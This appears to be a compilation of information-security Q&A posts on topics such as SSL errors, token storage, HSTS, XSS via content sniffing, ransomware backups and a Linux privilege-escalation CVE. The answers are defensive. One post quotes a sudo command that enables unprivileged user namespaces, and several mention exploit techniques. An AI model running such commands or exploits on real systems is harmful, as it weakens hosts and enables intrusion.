SSL mismatch error using ISP-provided IP address but not VPN IP address I keep seeing error messages reporting issues with SSL (Chrome, IE, Mozilla) when clicking on links in the YAHOO homepage to stories from different YAHOO sites (screen, autos, movies, hsrd, etc.)

CHROME reports

  "A secure connection cannot be established because this site uses an
  unsupported protocol. Error code: ERR SSL VERSION OR CIPHER MISMATCH."

MOZILLA reports:

  "Unable to Connect Securely. Firefox cannot guarantee the safety of
  your data on autos.yahoo.com because it uses SSLv3, a broken security
  protocol. Advanced info: ssl_error_no_cypher_overlap".

The weird thing is that when I use a VPN (HotSpot Shield)... there is no error and I can access all these pages/sites without any problem or issue! Any ideas on why this happens? Is the SSL "mismatch" on my ISP's side, and if so, should I have any security concerns?

Is the SSL "mismatch" on my ISP's side, and if so, should I have any security concerns? Tks.

It can be at your ISP but it can also be a compromised router which redirects traffic. A VPN installed on your local machine might protect you in both cases.

If it is your ISP then other users of the ISP will probably be affected too, unless the ISP (or some hacker/agency there) targets especially you for some reason. So I think that a compromised router is more probable. Since routers are often insecure lots of them can easily be hacked with CSRF or similar attacks just by visiting some external web sites. The hack can change the DNS settings so that most traffic from then on is under control of the attacker. See for example the compromise of millions of routers in brazil 2011/12.


Store user credentials vs store refresh token I am currently designing a native mobile application that require user authentication and authorization to connect to a REST API. Keycloak will be used as IAM tool and tokens will be JWT.

I don't want the user to login every time he opens the app, so I am wondering which is the best way of handling a long-lived session for this use case.

I am considering two options:

Option 1: Store encrypted user credentials and set up short lived access token/refresh token.

When access token and refresh token have expired, perform background
login using stored credentials and retrieve new access and refresh
tokens
Storing the user credentials in Android/IOS might be a risk
even if they are encrypted and hashed

Option 2: Store refresh token with no (or very long) expiration date

Token revocation is required so this would require to store every token in back-end.
Token with no expiration date looks risky too.

Which option is more secure?

Keycloak supports offline sessions, via the offline_access this must be granted on the client), which allows you to create long lived refresh tokens that can be stored in the app. You can configure how long these are valid, for instance a month.  If the user opens the app more rarely than that, you can prompt for credentials.

This gives you an openid connect compliant way to keep mobile apps logged in for a long time.


Is it safe if SSH and HTTPS server share the same RSA/DSA keys? I'm configuring an ssh server for an embedded device. This device already has an x.509 certificate and a pair of public key and private keys stored in it that is used for its HTTPS server. Is it safe to just use same pair for the SSH server too?

Edit

The SSH server that I'd be using is not OpenSSH, it's a proprietary SSH implementation that comes with the embedded OS. It doesn't automatically create server keys and it asks to be provided with a pair.

The reason I'm considering this is because in our device it takes about 4 minutes to generate a pair of keys. The first boot after factory already has increased 4 minutes for generating one pair for http server. It would just be better if we didn't have to increase it another 4 minutes.

Just let the SSHD create some random keys for you.

If either of the server software or the protocols reveals to be vulnerable in a way that could leak the private key, that would compromise both SSH and HTTPS.
You don't benefit from using the same private key and certificate as SSH doesn't provide public key infrastructure like TLS in browsers. The SSH server doesn't send a signed certificate, but the client can compare a hash of the public key with the known keys:

debug1: Server host key: ecdsa-sha2-nistp256 SHA256:8R95weyGWpfk9q9u3OTP...
ECDSA key fingerprint is SHA256:8R95weyGWpfk9q9u3OTPRZYAttMFy27GW2anDQxRTYY.

SSH key hashes could be published on (DNSSEC signed) SSHFP DNS records (RFC 4255). These can be automatically validated using ssh -o VerifyHostKeyDNS=yes.

debug3: verify_host_key_dns
debug1: found 8 secure fingerprints in DNS
debug1: matching host key fingerprint found in DNS

This would require a DNS name with a valid DNSSEC chain of trust (and a validating DNS resolver), just like getting a valid signature for TLS requires a verification from a trusted CA. As this is an embedded device, it's not likely on the public Internet having a public FQDN.
As you won't be using the default configuration, you could mess something up that might become a security problem. While some other implementations (your emdebbed device doesn't probably use) do, OpenSSH doesn't support extracting data from x.509 certificates, but the keys are stored in ASCII armored files.

HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_ecdsa_key
HostKey /etc/ssh/ssh_host_ed25519_key


How safe is "trust this computer" option for websites? Many sites have a "trust this computer" option that allows one to bypass some security measures (ex.: with Google's 2-step authentication enabled, one does not need to enter the phone's code if the computer/browser was previously marked as trusted). I'm having trouble to find more information about the subject, in particular on how to implement it securely, if possible at all.

(Note: I refer specifically to general-purpose sites, that rely on nothing special beyond the browsers' capabilities. My bank site for instance uses its own security module (using either Java or ActiveX), but that's beyond the scope of this question.)

Assumptions:

The computer to be marked as trusted is indeed only used by trusted people, and reasonable measures are taken to keep it malware-free.
SSL is used to communicate to the site.

Questions:

From what I could make of it, a cookie is used to store some arbitrary shared secret between the browser and the site. Is that all? Or does it employ some unique (an un-forgeable) way of uniquely identifying that particular computer or device?

In case it's really arbitrary, what properties does it need to be resistant to collisions and/or forgery? (length, randomness, ...)

Should the state of "trusted" expire at some point? Or is it enough to offer means to revoke it on demand, in case the user believes the computer/device was compromised?
Does it actually add any increased security? Using Google example again, I noticed it periodically requests me to authenticate again (using only username/password though). What's the reasoning behind this?

If it assumes the computer is still trusted, couldn't it just keep me authenticated forever?
If OTOH it assumes a malicious user might be using it, shouldn't it request a full authentication instead? (i.e. why it assumes just the password is enough? does it consider the computer itself to be the second factor?)

I understand that, generally speaking, when the convenience goes up the security goes down. My doubt is whether or not this option defeats the purpose of two factor authentication, or it's indeed a reasonable compromise.

Yes, the "remember me"/"trust this computer" option is safe to use, as long as you trust everyone else who might have access to your computer, and as long as it is implemented correctly.

It is generally implemented using a persistent cookie.  The cookie contains a random, unguessable token that identifies you securely.  If the website is implemented properly, it is sent over SSL and the cookie is marked secure.  However, many websites omit this step and send it over non-SSL connections (which is insecure if you ever use your computer over an insecure communication medium, e.g., over an insecure Wifi link) or forget to add the secure flag to the cookie (which is not secure against an active man-in-the-middle attack if you are using an insecure Wifi link).

This cookie can optionally have an expiration date, or can be expired server-side.  That's up to the web server.  Probably there is no great need to expire it, but you could expire it if it makes you feel more comfortable.

This feature adds a great deal of convenience, as it spares you from having to go through certain authentication steps.  The exact details of the security/convenience tradeoff and the security benefits will depend upon exactly how a particular web site uses the "remember me" feature, and cannot be answered generically in the abstract.

For instance, many websites may use the "remember me" feature so that you will be automatically logged in every time you visit from this same computer, without needing to type in your password.  That's convenient.  It also means you can reasonably choose a longer password: since you rarely have to enter in the password, you can make it as long as you want without worrying about the inconvenience of trying to memorize or type in the password.  So, in some sense, this does provide some security benefits.


CentOS - Local privilege escalation - CVE-2012-0056 I have a server with these properties :

cat /etc/lsb-release

LSB_VERSION=base-4.0-amd64:base-4.0-noarch:core-4.0-amd64:core-4.0-noarch:graphics-4.0-amd64:graphics-4.0-noarch:printing-4.0-amd64:printing-4.0-noarch

Recently, I read an article about local privilege escalation - CVE-2012-0056, so I decided to test it on my server. I then connected to my server using unprivileged user account (not root) and uploaded Mempodipper.c and run it with gcc Mempodipper.c. This resulted in permission denied.

Am I immune to this attack, or should I be worried about this vulnerability being exploited in any other way? Unprivileged accounts don't have access to running gcc. Are there any other ways of running that exploit on my server, which I should be worried about?

The answer is no, this doesn't mean you are immune to this attack.

If an attacker is unable to compile the exploit on your system, he can as well compile it somewhere else and then upload and run it on your server, providing he has an access to your server of course.

Generally speaking, you should not rely on denying access to gcc or any other utility to prevent an attacker from exploiting a vulnerability on your system. Vendors usually provide patches, and you should apply them as fast as you can.


RSA vs ECDSA for VANET Security I am doing a project on Vehicular Ad-Hoc Network Security (VANET). The proposed scheme uses electronic signature as a means to authenticating the nodes. Most of the research papers I read suggested ECDSA because it says a "160 bit key in ECC is as secure as 1024 bit key in RSA, and is faster and occupies less memory" But on the other hand I also read that verification time of RSA is significantly lower. So won't RSA be a better choice since the vehicles would be travelling at high speeds and we should concentrate on keeping verification time lower?

Usually, signature generation time is more critical, because signature generation entails using private keys, which must be protected, and therefore used in shielded system which trade security for computing power. E.g. smart cards.

In an overall system, it may happen that RSA is better than ECDSA, or the contrary. For an ad hoc network, we might expect that components authenticate each other, which implies that the relevant measure is the sum of the signature generation time and the signature verification time. For that sum, ECDSA wins over RSA. It also offers shorter signatures, which is a great asset on low-bandwidth networks.


What is best practice for separation of trusted zones from a DMZ with a single firewall? At our organization we have a single firewall sitting between our internal zones and the public internet. Currently all of our trusted zones are defined as different vlans on a layer 3 switch plugged into one physical interface on the firewall. The DMZ zone is defined on the firewall itself and is trunked to a layer 2 switch from a separate physical interface on the firewall.

Is this a fairly secure way to separate our trusted zones from our DMZ or does this pose a lot of problems?

Also does having the DMZ vlan defined on the firewall and trunked to a layer 2 switch pose a risk or should I look into getting another layer 3 switch for the DMZ as well?

I have considered trying to get funding for a second firewall to place between our primary firewall and our trusted zones but I don’t know if that would be the best place to make a change to yield the best amount improvement if at all.

From what I understand this is less of a security question and more of a network engineering question, though security engineering definitely has a place any network design.

First you're going to need to draw out what you are doing. Which you did in the time that I was writing this, haha. I've also attached the Visio that I threw together when I first read your question.

Next I have to ask about something. You said that the DMZ is "trunked to a layer 2 switch." Does that mean that you actually are trunking VLANs to the layer 2 switch? If so you may want to drop your VLANs at the firewall interface. Especially if you're not trying to accomplish a sandwich DMZ configuration. That DMZ switch seems like it should be untagged.

I don't think there is any need for an additional switch for your DMZ, unless you have size and configuration concerns. If it's a small scale network, as I envision, you should be set with the small DMZ on-a-stick configuration.

Many small business all-in-one type appliances have a very similar setup. I have seen many Checkpoint edge appliances used in this same exact configuration.

Granted that the more security/separation you can provide the better when it comes to security, but this setup is perfect for a small business or home setup.

Also, I just came across this article which has an extremely brief explanation of this same configuration here.


How should captive portals redirect? I recently read this question, which makes me wonder a follow up question: how is this captive portal likely trying to redirect the user? A highly voted comment does say that it's doing it wrong, after all.

So if one had a legitimate and well intended captive portal, how should it be redirecting users to the portal while keeping in mind user's security and convenience? It's obviously bad for both security and convenience if users are getting a certificate mismatch like in the linked question.

Technically a captive portal is always a man-in-the-middle attack. Therefore, all techniques against MitM will and should warn about them, giving the user power to decide whether to trust or not. Some browsers do have captive portal detection, in general temporarily allowing the redirection without showing any page with the original domain.

  Contemporary security needs make transparent implementation of captive
  portals challenging. Thankfully, web browser and OS developers realize
  the importance of reporting the existence of this intermediate status
  between being connected to the Internet or not, this way reducing
  failure cases to a minimum.

From this perspective, redirecting to a separate captive portal login page with a properly signed and matching certificate would be less evil than showing the login page directly with any domain.

Do we have other options?

We could perform the redirect only on plain HTTP to avoid the certificate mismatch error. It would still be a MitM, but on a protocol that wasn't designed to detect it. This would have worked perfectly fine before HTTP Strict Transport Security (HSTS) against our  protocol downgrade attack, which this kind of captive portal would be.
No redirection at all. Simply block all traffic before the user has manually opened the login page URL and logged in. Security maximized, at the expense of convenience. Now, you have to inform your users about this arrangement, which usually means need for extra support. Even if you tell your users with pictures that they need to type this address into address bar, some of them still tries to search the address from Google.
Abandon open WiFi and use another authentication methods. No need for captive portal nor login page. Severe need for support. WPA2 enterprise would be technically ideal as you don't need a single pre-shared key, but it's less known to the target group (people using open access WiFi).

At the same time these are the very reason why captive portals still exists. My idea of a suitable replacement for captive portals would be a standardized plain HTTP URL that browsers would try to access when ever something blocking the connection is detected. That page would then perform the redirect to the login page with HTTPS and a proper certificate, and the browser should detect anything else as an attack. But this is just my dream, far from reality. Captive portals will exist as long as they work in practice.


How to protect against viruses that takes files as hostages by encrypting them? Today I was infected by CoinVault, a new malware similar to CryptoLocker I believe.  Before today I was unaware of this entire type of malware.  Fortunately I was protected by offline backups, but I have been thinking very hard about how to prevent this kind of thing from  happening again, and am not sure I am satisfied with what I've come up with.

Regular backups are obviously very important, but I do not see this as the end all solution.  Even offline backups are online for the backup process, which means you haven't removed the potential for infection of these backups, only minimized it to a short timeframe.  If your system is vulnerable to cryptolockers, so then is your offline backup.

So how to be sure your system is not vulnerable?  I've seen it suggested here to configure policies that disallow exe's from running in %AppData% or %Temp%.  But how do we know malware couldn't start from another location?  Are these the only places malware can inject itself from a browser?  Further, the policy configuration mentioned is not available in home versions of Win7.  Can UAC help here, or does it only work for installed applications and not simple executable files?  Ideally I'd like to have no exe on my system able to run unless I've whitelisted it... is this possible on Win7 home versions?

My current protection plan is:

put UAC to most safe setting (currently on most risky)
change my normal user to non-admin privs

Not sure if those two things alone would have helped me here, but I'd like to lock down all arbitrary exe's as well if I can, which is the one area I'm struggling with.

To protect against this, you need some sort of versioned online backup. Where all Changes are saved as a difference over the old backup, and you can Always rollback to any date/time.

Basically, your versioned backup should work that regardless of what you do on the backup, its copy-on-write and you will Always be able to revert.

This can either be as a incremential file-based backup on a backup server or NAS, but you can also do this on block level with LVM/snapshots on a backup server, such as you store differential snapshots over the filesystem so you can Always recover any of these snapshots prior in time.

The important thing to consider, is that the incremential versioning system MUST be implemented on server-side. Eg, present a shared drive to the client computer. Anytime a file is written to this shared drive, the SERVER (that is inaccessible to the virus) checks if that file already exists, and writes a incremental diff file on the server drive for this file if it already exist.

Thus anything the virus does to the shared drive will Always be saved as a incremential diff.

Only allowing "trusted" software to execute is basically impossible on both Windows and Linux, since a OS has LOTS of executeable code that is executed part of the operating system. In all these executeable code, theres Always entry Points where modules can be connected and executed, and closing off all these entry Points are basically impossible. One example of entry Point is registrering a executeable DLL from regsvr32.exe . Only way you can do is restricting executeable software from modifying certain files, but that also means you have to prevent yourself from modifying that file too, since anything you can do, the virus can do too.
The only way you can completly lock out untrusted code is by using a microcontroller, and thats EXACTLY why smart cards exist!


Is HTTP Strict Transport Security needed when only listening on port 443? Is HSTS needed on a server that listens only on 443 port? If a MITM attack is carried out, the server won't respond on HTTP.

It doesn't matter what your server does. For all we care it could even be down, and MITM attacks would still be possible. All it matters is what the client does. If your client makes insecure requests or accepts untrusted responses, then a MITM becomes possible. HSTS is used to make sure that your client only uses HTTPS to connect to your server, which means it will always use secure requests and accept trusted responses.

Imagine visiting the following malicious HTML page:

<img src="http://www.your-server.com/foo">

Without HSTS, your browser will send an HTTP request which can be intercepted by the MITM, who could steal the authentication data that is automatically sent in that request (cookies, headers, etc.)
With HSTS, provided that your website is already in the list of domains that have HSTS, your browser will refuse to make that request in plain HTTP, and the MITM won't be able see the content of the request or try to impersonate your server.


Can sending a hidden Text/SMS messages be considered a security issue? tl;dr: My Toyota Aygo sends Text/SMS messages through Bluetooth and my mobile phone. These messages are delivered to the recipient, but there is no sign of them in my Messages app.

Should I be concern? Is this some kind of security issue?

My car (Toyota Aygo 2019+), when connected with my phone (Motorola Moto Z2 Play) through paired Bluetooth connection, is able to send "hidden" Text/SMS messages. That is:

message is written and sent by me through car's navigation panel,
the fact that message was sent is confirmed on panel's screen and
message is delivered to the recipient, but
there's no sign of that message on my phone.

It is like that -- when browsing through history of the messages sent by me to a particular recipient, I can see messages sent from by me, from my phone only, i.e.:

all the messages sent before any message sent by Toyota and
all the messages sent after any message sent by Toyota, but
no message ever sent using Toyota's panel, through Bluetooth.

At first, I thought that this is a bug in Toyota and car isn't actually send anything (despite confirmation message). But then I have realised that messages are actually sent and delivered.

I understand that this could be caused by a variety of factors:

bug in Toyota's implementation of Bluetooth protocol*,
bug in Messages application on my Motorola,
some technical issues at my mobile carrier side,
bug in Android 7 (?),
bug in Bluetooth protocol (???) etc.

But, still... shouldn't I be concerned that (at a high level) something is able to send Text/SMS messages through Bluetooth and my phone without me knowing anything about that fact?

I have, of course, contacted Toyota support, but I have got only a template-like answer that their implementation of Bluetooth is as close to standard as possible, but even so they cannot assure that any Bluetooth-enabled phone is compatible with their cars.

I have contacted my mobile carrier, but I have got even worse answer in "never heard of" style.

*Unfortunately, I do not have any other Bluetooth device, capable of sending Text/SMS messages, to verify whether this is caused by Bluetooth protocol or Toyota's implementation of it.

What happens is that your phone "exports" a modem. This is visible via Bluetooth and can be programmed using AT commands (in this case, AT+CMGW).

And those can be used by the SMS App to send SMSs, and also by the Toyota to do the same.

This can be done by any device that is paired (trusted) and has access to the Bluetooth stack.

Since SMSs are not stored by the modem but by the app, you won't see any messages from any app from any other app (unless the two apps "agree" to a protocol and store messages where they both can access them).

Checking what was done by such applications is probably possible but would require a specific utility to do so.

To verify that no unknown stranger is abusing your radio modem console, you need to not pair with any untrusted device, ever, and periodically verify what devices your phone has paired with.


What security considerations should I make when choosing a TOTP app? One company now requires that I either use Authy or Google Authenticator.  Supposedly these are safer than getting a text message, but I'm still seeing people complain about how dangerous these are.  For instance, this article says that both Authy and GA less safe than U2F for security.  But a few years, Authy was all the rage.

If forced to use one of these two, what's safer and why?

*Yes, I am looking at another company to use.

Most HOTP/TOTP apps are essentially the same; the algorithms are publicly documented, so most users merely see slight UI differences. However, there are a few security things you might consider when choosing one:

Is it open-source? Google Authenticator, for instance, used to be, but no longer is (which IIRC directly inspired RedHat's FreeOTP). However unlikely it is that Google has introduced code to steal users' tokens, it is possible; you also miss the other benefits of open-source, like being able to hunt for bugs in the source directly.
Are secrets backed up somewhere external? I recently had my phone unexpectedly die, and this meant I had to reset my 2fa codes on a bunch of services (while not having access to my phone number for sms or phone calls, the most common backup method). This was a huge pain. It's not surprising that many users would like to use a service that stores the underlying secrets somewhere external, so they can continue to use them in case of a device switch. However, this comes with an inherent risk: that factor is no longer "something you have", but access to your account, which is often another "something you know". You can make the argument that codes are no longer a second factor. Authy (optionally) falls into this category.

Beyond that, you've got considerations like "Does this integrate nicely into my existing tools?" that are very real UX considerations, but don't impact security other than in how they persuade users to use (or not use) MFA.


Does the Heartbleed vulnerability affect signed java applets I have a Windows based server that serves a signed JAVA applet. The website isn't secured (HTTP), but all JAVA applets have to be signed now, so the site serves a signed JAVA applet as part of a web page. As such, the applet would have access to the client computer.

I can't explicitly find OpenSSL anywhere on the server, but I'm unclear if Apache (on Windows) somehow has it built in, and if the applet is vulnerable to this exploit.

I like keeping this simple.

If the webserver runs OpenSSL 1.0.1 through 1.0.1f and accepts SSL connections, it will most likely be vulnerable. As Steven says, this is SSL/TLS protocol wich is transport layer security.

This exploit is not on the application layer of the OSI layer.

Have a look at heartbleed.com for detailed information about the exploit.


How do you find the key domain of the multiplication cipher efficiently? If the plaintext is made of both letters (a to z) and digits (0 to 9), how do you find the key domain of the multiplication cipher?

You have 36 possible "characters" here.

If a single character is encrypted by E(C) = (c * k) % 36 then possible keys k are numbers that are coprime to 36, ie. gcd(k,36)=1. Furthermore it makes not much sense to consider numbers not between 1 and 36, because of the modulo.

As 36=2*2*3*3, the possible keys are basically all numbers not multiples of 2 and/or 3. That is:
5 7 11 13 17 19 23 25 29 31 35
Technically 1 too, but this would be no change from plaintext


What does enabling kernel.unprivileged_userns_clone do? This message was sent to my websocket:

echo kernel.unprivileged_userns_clone = 1 | sudo tee /etc/sysctl.d/00-local-userns.conf

Is it dangerous, and what would it do?

Thanks for your feedback everyone, chances are it was someone trying to install the Brave Browser who accidentally pasted into the wrong box and I'm overreacting.

Enabling unprivileged user namespaces can make severe vulnerabilities in the Linux kernel  much more easily exploitable. If you did not intend to enable it, you should ensure it is disabled. Numerous vulnerabilities that are found regularly are often only exploitable by unprivileged users if unprivileged user namespaces are supported and enabled by the kernel. Unless you truly need it, just disable it.
The reason for this is that much of the kernel that is only intended to be reachable by UID 0 is not audited particularly well, given that the code is typically considered to be trusted. That is, a bug that requires a UID of 0 is rarely considered a serious bug. Unfortunately, unprivileged user namespaces make it possible for unprivileged users to access this very same code and exploit security bugs.
From Brad Spengler in 10 Years of Linux Security, describing exploitation trends:

Attack surface exposed by unprivileged user namespaces isn’t decreasing anytime soon

Even more functionality being exposed:

2abe05234f2e l2tp: Allow management of tunnels and session in user namespace
4a92602aa1cd openvswitch: allow management from inside user namespaces
5617c6cd6f844 nl80211: Allow privileged operations from user namespaces

"Does this newly-allowed code pass existing fuzzing tests?" doesn’t appear to be a consideration for enabling such functionality

A few examples of vulnerabilities only exploitable on systems with unprivileged user namespaces:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-16120

https://brauner.github.io/2019/02/12/privileged-containers.html

https://www.halfdog.net/Security/2016/UserNamespaceOverlayfsXattrSetgidPrivilegeEscalation/

https://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/

https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html

https://seclists.org/fulldisclosure/2016/Feb/123

https://seclists.org/oss-sec/2016/q4/607

https://www.openwall.com/lists/oss-security/2015/12/31/5

https://www.rapid7.com/db/modules/exploit/linux/local/nested_namespace_idmap_limit_priv_esc/

https://lwn.net/Articles/543539/

https://lwn.net/Articles/543442/

Note that this particular sysctl may get deprecated and possibly removed soon. This is because a little more attention is being spent on finding unprivileged user namespace bugs and the feature is not quite as horribly insecure as it once was. Unfortunately, it is still quite insecure (in part due to the lack of CVE reporting for security bugs in the Linux kernel). If that is the case for your particular distro, you can disable user namespaces directly by setting user.max_user_namespaces = 0.


Will Running MEMZ or Wanna Cry in VirtualBox Harm Host Computer? I have read some threads talking about the safety of running malware in a VM. I found out that it may not be safe and there is still a risk. I would like to know specifically if running Wanna Cry, a ransomware, actually mess up my real computer. Is this virus made that way? I want to know about one other. Will running MEMZ, a trojan, harm my computer? Any answer to either of these will help.

First and foremost I would say that if you don't know how the malware works, running it in a VM is "a very bad idea™". The people who do this professionally are experienced malware analysts and reverse engineers who have quite a lot of knowledge and capability with the various virtualization and segmentation concepts that are required to actively run malicious code without letting it escape the sandbox.

There is a plethora of information and analysis available online.

https://www.us-cert.gov/ncas/alerts/TA17-132A
https://www.trustwave.com/Resources/SpiderLabs-Blog/WannaCry--We-Want-to-Cry/
https://securingtomorrow.mcafee.com/mcafee-labs/analysis-wannacry-ransomware/

These resources should give you a basic understanding of how the malware appears to execute and spread.

If you were to build a VM and manage to introduce (infect) the malware into the guest system, it is entirely possible your host system could be compromised if you do not protect against the attack vectors and distribution mechanisms.


High-frequency noise deterrents I've found that walking past certain boutique stores in my city that some places have installed very loud high-frequency noise generators. These cause a fair amount of discomfort for passers by that are able to hear them.
My understanding is that younger people are able to hear these frequencies clearly but people over certain ages have usually lost the ability to hear them.

What is the purpose of these devices? I assume to deter people from loitering around but i could be wrong.
Is there any information available as to how well these work as deterrents?

These devices you describe are also known as teen-repellents and take advantage of a well know fact that our hearing frequency range deteriorates with age, while it's not yet fully developed in pre-teen age. The most effective age range such devices could target is somewhere in the range of 12 to 24 years, and some such devices have various settings for crowd control of any age, too.

They cause high-pitched, high frequency noise in the range of roughly 17.5 kHz and up, limiting its influence to mostly teenagers. Several manufacturers exist already, and since it's not a technically challenging device to make, I suspect many may have made their own versions, too. The whole idea probably comes from research in perimeter alarms, where some use rapidly changing frequency high volume noise in a bid to disturb burglar's orientation (our inner ear).

You could test your hearing of these high frequency sounds online, for example with this YouTube clip, or a faster one here to see how much of an effect these devices would have on you. Make sure you select the highest quality setting (video quality and audio quality are coupled on YouTube), otherwise some extreme frequencies might get lost with compression.

So what is the point of these devices? Mainly, they serve as anti-loitering devices for public places where gathering of greater number of teenagers is not desirable, such as luxury departments in shopping malls, adult red district areas (not confirmed), and other places where masses of teenagers would potentially create a disturbance (rollerskating, loitering, whichever is considered as undesirable behaviour by us adults).

As you have probably already anticipated by now, they're highly controversial and have caused a public outcry in many countries that tend to respect human rights, defend and uphold civil liberties, or are otherwise concerned by too big of an influence of corporations on general population.

One such device is Mosquito Anti Loitering made by MST. The page there describes more about what it's supposed to do and where to use it (that's a job for advertisers really, so best left to them). Needless to say, they left out all the bad about it, and don't address questions such as how does it affect animals and if, in what way, is it effective (street punks might be less sensitive to these sounds simply because they probably wouldn't care so much to lose their hearing abilities and rather stand next to the loudspeakers in loud concerts - to hear it better of course, while the ones it would work better on would probably be the quiet, library goer types), if it can cause nausea or similar discomfort even to generations that wouldn't be able to hear these noises (just because it's beyond our hearing range, doesn't mean it doesn't have a real physical effect on us), or indeed, if it can be considered safe to pregnant women and their unborns.

A proper article about these devices can also be found here. So far, it seems, more money went into advertising these devices than actually determining their effect on our health (or health and change in behavioral patterns of other species, like e.g. dogs, cats, horses and birds). This is certainly one of those things we'll still need to properly address in the near future, while in the meantime their producers and advertisers will gladly exploit the fact that we didn't.

Teenagers strike back

UPDATE: I was reminded of an interesting bit of information relevant to this thread by @ThomasPornin in the comments below. Thanks Thomas! What follows is a partial transcript (full transcript available in link) from episode 6 of Dara Ó Briain's Science Club, where it was also mentioned:

  This phenomenon became very well-known, by the way, because some
  company marketed an alarm that shopkeepers could play outside their
  shops to clear teenagers from in front of the shop, because only
  teenagers could hear it. My favourite thing about it is that the
  teenagers recorded the tone and used it as a ringtone on their phone,
  because teachers can't hear it in school. So, they can actually phone
  each other in class, which I think is genius.[1]

[1] Dara Ó Briain, Dara Ó Briain's Science Club, Episode 6, 0:28:59.00 - 0:29:26.64

So there we have it, a comical cause and effect, as @SteveS also pointed out in the comments (one of the first members of IT Security by the way). I didn't link to any available online video clips, as they're of course all copyrighted and/or might not be available in all countries (e.g. BBC iPlayer). Do try to find them though, they're most interesting to watch and come with a fair bit of science & technology related situational comedy on top of factual information and personal opinions of some of the best scientists of today.


Does a Content-Type: text/plain header protect against XSS in browsers? I'm creating a small web script that mostly redirects the browser but has some error conditions when input parameters cannot be validated.
I'd like to display error messages like parameter XXX had invalid value YYY but that would open the script to XSS attacks if the parameter value is not properly escaped before output. Is it safe enough just to set the Content-Type of the response to text/plain or are XSS attacks still possible?

You must not rely on browsers respecting the content-type header for security. A quick look at CVE-2010-1420 should give you an idea. Content-sniffing mechanism implemented in browsers can be manipulated by  attackers to trigger XSS attacks  (Secure Content Sniffing For Web Browsers: A Survey).

Survey of content sniffing behaviors

According to this survey, as you may see, Safari browser could cause a problem even this is not an issue in other browsers (I can add you Bug 637981  to this list).

Go further:

You can protect further your application by allowing your   web server to force the browser into disabling MIME Sniffing for the served file:

  X-Content-Type-Options: nosniff

Since the attacks you are trying to defend against could be done via the files that you may allow today or tomorrow your visitors to upload, you can  force the browser to present the user with a file save dialog. When the noopen header is set, the user can not open the file directly because he will be forced to save the file locally first, which prevents the file from being rendered in the current browser context. You can achieve that by:

Content-Disposition: attachment; filename=untrustedfile.html

Additionally, in this last case (I mean if you allow users to upload files), you can add an other security layer to your web application (Risky sniffing):

Use a whitelist  to ensure that only a limited amount of file extensions are allowed
Store uploaded files outside the web root and use a secure download script that loads these files from disk and presents their contents to the user;
Use non-predictable filenames and change the file extension.


What does "Old" mean in "OLD_TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256"? Qualys SSL Labs says that my server is announcing OLD_TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256  as my first cipher-suite. I confess that I enabled Poly1305 because Google thinks is cool, not because I'm particularly cunning in cryptography matters. And now it says it is "Old"! Why is it "old"? Is there any risk lurking there?

As a side note, the server is running in its default TLS configuration, which I would like to change if there is anything flawed.

Back in the day when the ChaCha20-Poly1305 cipher suites were introduced, Google rushed them out. There was no full IETF TLS WG review nor was there any formal process involved (which isn't yet finished as of 10th march 2016). However the draft for the cipher suites was brought up and was adapted over time.

Part of this progress is the formal assignment of "code points" (i.e. the bytes identifying the cipher suites), which was done only quite recently (around 1st march 2016) by IANA. The assigned code point for your cipher suite is 0xCC,0xA8. Here is where  the "old" comes into play. Your server advertises support for 0xCC,0x13 which is a different code point. To distinguish the code points Qualy's apparently added the OLD_ as prefix.

Additionally it may be the case that the TLS WG changed some things compared to the original ChaCha20-Poly1305 cipher suites (like nonce generation) which also require a different code point to avoid confusion by implementations which (still) implement the "old" suite.

  Is there any risk lurking there?

No. The old cipher suites are still good and will be for quite some time, you can however expect support by browser to be dropped "soon" for those cipher suites (within a few years maybe).


Is it proper to be informed that I entered an old password I changed my Facebook password a few days ago. Today, I entered the old password chronically, and saw this message:

  Sorry! You entered an old password

And even shows the date and time when I changed the password. What's more if it will tell me if I changed the password on the same network.

Indeed, this is a user-friendly prompt for those who forgot changing the password. But if hackers want to invade one's account, they could use social engineering and other methods to get one's information and then control the account. My question is:

Would this give away some personal information or, even worse, made use by hackers? Is it proper?
Is it better to send an email to the user?

Use the same network:

Use a Japan VPN:

Is is fairly common to keep a password history in an authentication system. Remember, they are storing hashes/representations of your password, not your actual password and are comparing against those, so there is not a lot of risk of exposure or social engineering here. I guess there is a small risk here, that if an attacker is intercepting your network traffic and is MiTM (even on SSL) he will see your password and now its an old one, and can assume you are using the password on other sites. However, if your traffic is already being intercepted they will see the new password as well, and probably all of you other traffic.
The prompt saying when you changed the password does not pose a real security risk. This is so that way you determine if the last password change was performed by you, if you don't remember changing your password at that time, you should make sure to change it now and figure out how you were compromised. As for the local network or computer, its probably just using your public IP address; if you are behind a home router (using NAT) all of your computers will appear to the Internet as the same IP. I am actually surprised it doesn't tell you your password was changed from another PC or network, I've seen Google warn me about attempted logins from IPs in other countries.

I am not sure where the social engineering issue is in this scenario - are you being asked questions like "What high school did you go to?" as a challenge question (e.g., something public or part of your Facebook profile?).


What is the purpose of publishing the source of a web application? I saw a lot of reports identifying security issues in big web applications based on some secret data deposited in Github public repositories.

AFAIK, Github is a repository hosting service in which individuals can publish the code of their tools or projects so others could contribute or get benefit from the source.

But if I have a big company that offers a service via a web application, what's then the purpose of publishing the source code?

If I have a big company that sells a product, I might not want to disclose its source because people may just copy it and sell it, thus decreasing my profits.

But if my big company provides a service by means of a Web application, it's very likely that I can publish the source code, because the actual value of my service lies somewhere else (in a large and complex infrastructure, access to databases,...).

What's more, I could actually earn the trust of additional customers by showing them that my code can be audited by lots of people, including the customers themselves. For example, this may show to the customers that my code doesn't store their data in plaintext.

That said, any Web application is extremely likely to contain vulnerabilities that can be found by an attacker, with or without access to the source code. If you don't publish the code (barring bug bounties), the good guys can't disclose vulnerabilities to you. If you do, they can. Of course, bad guys exist in both cases.

Finally, realize the hacking world isn't split in purely good and purely bad guys. Some people want companies, and the whole world, to know they're good at finding vulnerabilities. Perhaps  getting their name on a Hall of Fame (that's why bug bounties are good) or on the credits section of a Github repository is enough to satisfy this "need". If you don't publish your code, the only way these people have to get what  they want is to attack your application or sell a working exploit against it.


